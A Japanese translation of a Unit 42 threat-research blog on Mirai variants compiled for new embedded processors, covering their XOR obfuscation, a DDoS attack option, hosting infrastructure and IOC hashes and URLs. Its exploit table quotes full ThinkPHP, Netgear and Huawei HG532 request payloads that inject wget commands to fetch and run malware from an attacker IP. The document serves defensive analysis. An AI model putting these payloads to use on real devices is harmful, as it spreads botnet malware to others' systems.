本ブログは米国で2019年04月08日に公開されたUnit 42ブログ「Mirai Compiled for New Processors Surfaces in the Wild」の日本語翻訳です。
 

エグゼクティブサマリー

2019年2月下旬、Unit 42はこれまで見たことのない新しいプロセッサ/アーキテクチャ用にコンパイルされたMiraiのサンプルを発見しました。ソースコードは2016年10月に公開されている ものの、このマルウェアはこれまでは、固定されたプロセッサ/アーキテクチャのセットをターゲットにしていました。

Unit 42は、新たに発見されたサンプルがAltera Nios II、OpenRISC、Tensilica Xtensa、Xilinx MicroBlazeプロセッサ用にコンパイルされていることを発見しました。なお、Miraiが新しいプロセッサアーキテクチャ、サンプルターゲット向けに拡張されたのは今回が初めてではありません。 過去にもARC CPU用のものが2018年1月に発見されています。とはいえ、今回見つかったような新たなプロセッサへの展開は、Miraiの開発者が積極的に革新を追い求め、増え続けるIoTデバイスをターゲットにしていることを示しています。このマルウェアは、2016年のDynおよびセキュリティブロガーのBrian Krebsのウェブサイトに対する大規模なサービス拒否攻撃に使用されたことで悪名高いものです。こうした最新の技術革新によって感染デバイス数が増加すれば、Miraiの攻撃者はサービス拒否攻撃力をさらに高めることになります。

本稿では、これら新しいサンプルで見つかった新機能を紹介し、観測したインフラストラクチャについて説明し、既知のエクスプロイトを使用しているほかのMiraiサンプルが新しいサンプルと同じインフラストラクチャでホストされた様子を示します。 また、これらの新しいサンプル用のIOC(侵害の痕跡)についても提供します。

Miraiそのほかの脅威からの保護にあたり、組織は最新のアップデートを適用し、デフォルト以外のパスワードでIoTデバイスを保護することを優先する必要があります。
 

見つかった新しいサンプルの新機能

今回観測したMiraiのサンプルは、前述の新しいアーキテクチャ用にコンパイルされていることに加え、以下の新しい機能が含まれていることがわかりました。

  • 暗号化アルゴリズム: これらのサンプルでは、オリジナルのMiraiソースコードに利用されていた標準のバイト単位のXORを修正して使用しています(toggle_obf関数内で実装されている)。

11個の8バイト長の鍵を使用していて、これらすべての鍵を累積してバイト単位でXOR演算した結果を最終的な結果の鍵として取得します。これについては次のコードスニペットを見たほうが分かりやすいでしょう。

tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]

xor_key = 0

for key in tablekeys:

xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff)

実際には、これは0x5Aとバイト単位でXOR演算するのと同じ結果になります。

  • attack_method_ovh: サンプルには、以下のパラメータを持つDDoS攻撃オプションが含まれています。
ATK_OPT_IP_TOS = 0

ATK_OPT_IP_IDENT = 0xFFFF

ATK_OPT_IP_TTL = 64

ATK_OPT_IP_DF = 1

ATK_OPT_SPORT = 0xFFFF

ATK_OPT_DPORT = 0xFFFF

ATK_OPT_SEQRND = 0xFFFF

ATK_OPT_ACKRND = 0

ATK_OPT_URG = 0

ATK_OPT_ACK = 0

ATK_OPT_PSH = 0

ATK_OPT_RST = 0

ATK_OPT_SYN = 1

ATK_OPT_FIN = 0

ATK_OPT_SOURCE = LOCAL_ADDR

これらは、元のMiraiのソースコードに含まれていた攻撃方法「TCP SYN」とまったく同じパラメータです(attack_method_tcpsyn)。同じパラメータを持つ新しい攻撃方法を組み込んだ理由は不明です。

弊社AutoFocusを利用してこの攻撃方法を軸に探索範囲を広げると、2018年11月以降にインターネット上で観測されていた既知のアーキテクチャ用のサンプルのなかにも、これらの攻撃オプションを採用しているものがあることがわかりました。
 

インフラストラクチャ

これら最新のサンプルは一時期、ある単一の IP アドレス上にホスティングされており、そのディレクトリへのアクセスは制限されていませんでした。その後2019年2月22日に当該サーバーはファイル一覧にアクセス制限をかけましたが、ファイルのホスティング自体は継続していました。

                                               
図1 Miraiの亜種をホスティングしているディレクトリのファイル一覧

2月22日の設定更新以前には、当該IP上に、Miraiの以前のバージョンで使用されていたことが判明している以下のエクスプロイトを含むサンプルがホスティングされていました。これらMiraiの以前のバージョンと、今回新しく発見されたサンプルの両方に、これらのエクスプロイトが存在していることから、これら2つには関連があること、同一の攻撃者によって使用されている可能性が高いことが示唆されます。利用されていたエクスプロイトを以下の表1に示します。

脆弱性 エクスプロイトの形式
ThinkPHPによるリモートコード実行 GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 'wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp' HTTP/1.1

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hito/2.0

 

 

 

D-Link DSL2750B OSコマンドインジェクション
Netgearのリモートコード実行 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777+*+/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
CVE-2014-8361  

 

 

CVE-2017-17215 POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Content-Length: 430

Connection: keep-alive

Accept: */*

Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30″, uri="/ctrlt/DeviceUpgrade_1″, response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5″, qop="auth", nc=00000001, cnonce="248d1a2560100669″

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1″><NewStatusURL>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

 

 

 

 

 

表12月22日以前に178.62.227[.]13でホストされていたMirai亜種に含まれていたエクスプロイト
 

結論

Miraiのソースコードはオープンソースなので、より幅広い種類のプロセッサ用に同一ソースコードをコンパイルするというたったそれだけのことで、攻撃者はより大きな攻撃面という優位性を得ることができます。実質的にこれはMiraiマルウェアファミリが現在よりより多くの組み込みデバイスを介して感染・拡散できることを意味しており、攻撃者はさらに大きなDDoS攻撃力を手に入れられることになります。

パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。

  • WildFireは本稿に記載したすべてのサンプルを検出し「Malicious(悪意のある)」ものと判定します。
  • これらのキャンペーンに関連したすべてのエクスプロイト、IP、URLは、Threat PreventionとPAN DBによってブロックされます。

AutoFocusをお使いのお客様は、次のタグを使用してこのエクスプロイトを追跡できます。

本マルウェアファミリは、次のAutoFocusタグで追跡できます: ELFMirai

パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org
 

IOC

URL

178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazebe

178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazeel

178[.]62.227.13/wrgjwrgjwrg246356356356/hnios2

178[.]62.227.13/wrgjwrgjwrg246356356356/hopenrisc

178[.]62.227.13/wrgjwrgjwrg246356356356/hxtensa
 

Xilinx MicroBlaze のサンプル

006b73c03760f168a5d71c0edd50e9a437aca7b3db1dbecac75ea2ef9e74f54f

233790b3a74245c4660cadec23145246484154abd01edd45836c31598f96b13d

26298ff73035ef2dc92cda118d476933d3014b39ac478865bd86d28aa5457459

2d7ed9ccd1b94f58aff30f7a7d798dd03b6a0f5bed2a529e1e13d8d78e9ae289

3891a82075bd173bb1e052c27f1be946559aaeb65e6a4c761ba8bbd2cbccd3fb

43c5efda1875fd809f97b49d296f34e1292ed86e5a4197460764fe67b98294ef

44f1d6144df90adea1b7b482c84946257c9fb70a9c195a6846f416de80b5e6fd

4cb4c5cbf7eb646bdc08640f4f9e9a4383a9c7ac4e26be0caeb9dc904670c5bf

4d8a4841a2f4a61ed6df2be79dd7ea1eb2052cee6eba4d8de30add7908ebb779

537c2d136a805fe1b703709b0794e25f91f2136027287fa4817080330c7989ce

683b6f8209725ae0e715cda5a1cd35bcaacb5d45ae8e487c98dce2c01c91c887

9b1eab0283fd6948a9a181abaa2f6b3c26f2b0077c8a8b32e763790dd64d2a22

a736d6ebf9596872f3c92ac486be2588ccf0c53cf15a3897a97c83ca1525ff8d

a9dbcc2681d427f9820ca9c5ec120b9bf3e83c9856e89736884ee4dc26712e50

bdd19fa8a7c0e3a5ebbb14d5885cb09a863122ad2c78f53361db0c194045d491

c0f18a5113b341faacb9f647cee954a237925cc62d5daff559a8a880702273c1

c75b3c52c0f5eebfd4c44c3069a393e824d455c7405d57ee99fd7613b8211b31

d28d05477ddbb1e3de330e98a2cb199ed76df0d1c942c467c977c9b70771477a

de6a0d2b8b4323bc06a6cd02b0042fc92c36319696dafafd057e905d359f60ea

e740f780f2b91a41c5024115bbed607b0a75e52fcf4f96b86d0f8adda0c97ddf
 

OpenRISC のサンプル

09f8885872bc47e03608d6725f8735074c8b915ca08540e367921223058c108a

199f1976cb5fb39a9c395a28e2178476b6eaec0f3499a5a11912f103dcd64d00

1efdfc79d0c4b779966dfcae7d4f0a1f17f043e098ec0f90ff12a7ebc3c3f1f1

24b4c838dd41c0d812f747e48cf24be4f2265bce8f1e4d0d8ca6a7fc5649019b

59b7a7baf4c239786fdf5ceca9084d829c6f6fc0603a524df313b2ef4958e4c2

6183c7c87ff7cc3721c000af73714be27884a22057c4dc69bccd34571353f327

74a45ff17678e0bddf383b5229785dda04c515e778bc9421d9396168f1cf3c3d

76c9e543a0386994031b4905533eccd05400b3bb12fefc94f1eb65af5debe986

b6359a84bd36a3ce8a13f1306ad74d757c384a772691c228c9a00a5246d828fa

b758405fd18c4518878868163472bcb4e988e4ecbc3312b9756d231b80646816

b89196b9773c6c809a2547434ce3e9de8a494ed7b338e013fd3f2818b4b54fd1

c33080bea85616fd1251f877cd9ff570dd6a2e2f24cc20254754cb2c74a2375e

d21880f4f919c410d0f2ee447716a2f7288dbaa21ec7de8601f0fc999b4d3d45

f646c45feb0ccab4caf61bdb4aa45b0295614b2e881ad9c594ccaec2ea886671
 

Tensilica Xtensa のサンプル

006436f282f46f49eb97c2e119622ac61086a908623ca741eb29caeca22c797a

28bb80c687cb0aeea0b2d53dd5bf34f21f7292e5708b0aefeea25aebe2ff93af

5647168f9818dc40599d057c426424709bde5722c62088ecff64b97d3acfc4a7

57cc6875ae0c571ef1edaae72d82b0da6e60331ad4b3ad34c922b9e4612b8779

61893583675935ac7a4857542f13d513ffbb176b302a72d26d7ec39fd931decb

ac4a00bfe1031e19eb9a101d61ef5267627ebaeb2aca4b962c7bb1b5a59e337c

b0cef399ea8ec2244aebb3506a2bb60c64c3921e816c0fc9752caf84c6cf196d

b5da0b6070d9cf3a3d628864e0f0860c8fc967ce692c0142f5a6dafee64079f6
 

Altera Nios II のサンプル

0c35f2902d92ef4f46e4643d11c46bde57027bb14e2b75c027a50fe7efc4f358

3446c2ed11a6a5e02702afd5f7082eb435b2922096443cabd45d54b5b7582cc1

48c760ba6b6a29e2a90bdb88bf96486c158f2b47ee9e1c560a47071e39bb5e87

5876c9ac609ece0e051c57b380489490bc78e40c796b637af1e80adbdb9f70dc

a457090fb6df8cb93c91ec6b5d89927f7a6f9e247389d945d44731351a367b4e

ed5e313821bf3a20d226c1b5f2b0ba7f1897d0778c27620017b852579e3e1894

fae498477388c53c8c623fd8ddb710cc286584200767907b104d55f916d37c05